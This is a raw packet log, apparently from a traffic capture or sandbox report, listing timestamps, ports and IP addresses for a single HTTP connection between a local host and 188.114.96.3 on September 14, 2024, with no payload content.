Sep 14, 2024 18:44:26.838846922 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.838851929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838871002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838886976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838903904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838921070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838943005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838953018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.838953018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.838963032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.839456081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839473963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839492083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839508057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839519978 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.839529991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839535952 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.839557886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839576006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839581966 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.839593887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839613914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839621067 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.839632034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839648962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839664936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839690924 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839706898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839710951 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.839725018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839735031 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.839742899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839761019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839765072 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.839780092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839797974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839803934 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.839814901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839833021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839835882 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.839849949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839869022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839878082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.839888096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839904070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839907885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.839921951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839939117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839942932 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.839956045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.839978933 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.840337038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.840356112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.840372086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.840388060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.840404034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.840405941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.840414047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.840425014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.840445995 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.840461016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.840477943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.840495110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.840501070 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.840512991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.840529919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.840539932 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.840547085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.840564013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.840574980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.840581894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.840600014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.840605021 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.840619087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.840636969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.840643883 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.840656042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.840673923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.840682030 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.840771914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.841159105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.841176033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.841192961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.841211081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.841228008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.841228962 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.841247082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.841254950 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.841264963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.841281891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.841281891 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.841300011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.841315985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.841324091 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.841335058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.841351986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.841358900 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.841370106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.841389894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.841393948 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.841495037 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.842808962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.842859030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.842892885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.842904091 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.842926979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.842959881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.842968941 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.842993021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843025923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843034983 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.843060970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843092918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843101978 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.843126059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843166113 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.843179941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843214035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843250036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843259096 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.843297958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843334913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843343019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.843374968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843416929 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.843430996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843463898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843494892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843508005 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.843528986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843564034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843589067 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.843599081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843631029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843640089 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.843664885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843708992 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.843713045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843746901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843780041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843785048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.843812943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843846083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843852997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.843879938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843911886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843919992 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.843950987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843981981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.843990088 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.844016075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.844048023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.844055891 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.844080925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.844113111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.844121933 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.844146013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.844178915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.844185114 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.844213963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.844245911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.844252110 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.844279051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.844310999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.844316959 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.844346046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.844377041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.844383955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.844410896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.844444036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.844475031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.844508886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.844515085 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.844532967 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.844541073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.844579935 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.882280111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.882344007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.882379055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.882396936 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.882417917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.882453918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.882461071 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.882488012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.882524014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.882529974 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.923105955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923121929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923136950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923252106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923268080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923283100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923297882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923357010 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.923392057 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.923437119 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923453093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923468113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923481941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923496962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923504114 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.923512936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923526049 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.923531055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923554897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.923589945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923605919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923619032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923631907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923634052 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.923646927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923659086 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.923695087 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.923726082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923742056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923755884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923791885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.923896074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923918009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923932076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923943996 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.923947096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923962116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923976898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.923989058 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.923993111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.924005985 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.924031019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.924204111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.924217939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.924232960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.924262047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.924372911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.924388885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.924406052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.924412966 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.924432039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.924442053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.924447060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.924463034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.924478054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.924484968 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.924494028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.924515963 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.924573898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.924611092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.924767017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.924782038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.924880981 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.924967051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.924982071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.924995899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925010920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925025940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925039053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925055027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925066948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925081968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925092936 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925096989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925129890 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925131083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925143003 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925147057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925162077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925177097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925184965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925194979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925214052 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925326109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925340891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925357103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925373077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925380945 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925389051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925400972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925508976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925530910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925540924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925540924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925540924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925545931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925570965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925585032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925586939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925610065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925625086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925626993 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925641060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925657034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925664902 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925672054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925685883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925693035 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925710917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925725937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925740004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925753117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925765038 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925765038 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925769091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925785065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925790071 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925801992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925817013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925827026 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925832033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925847054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925853968 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925863028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925875902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925882101 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925890923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925904989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925913095 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925928116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925941944 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925942898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925960064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925975084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.925985098 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.925990105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926004887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926009893 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.926021099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926043987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.926095009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926110983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926124096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926137924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.926140070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926157951 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.926322937 CEST	80	54891	188.114.96.3	192.168.2.7
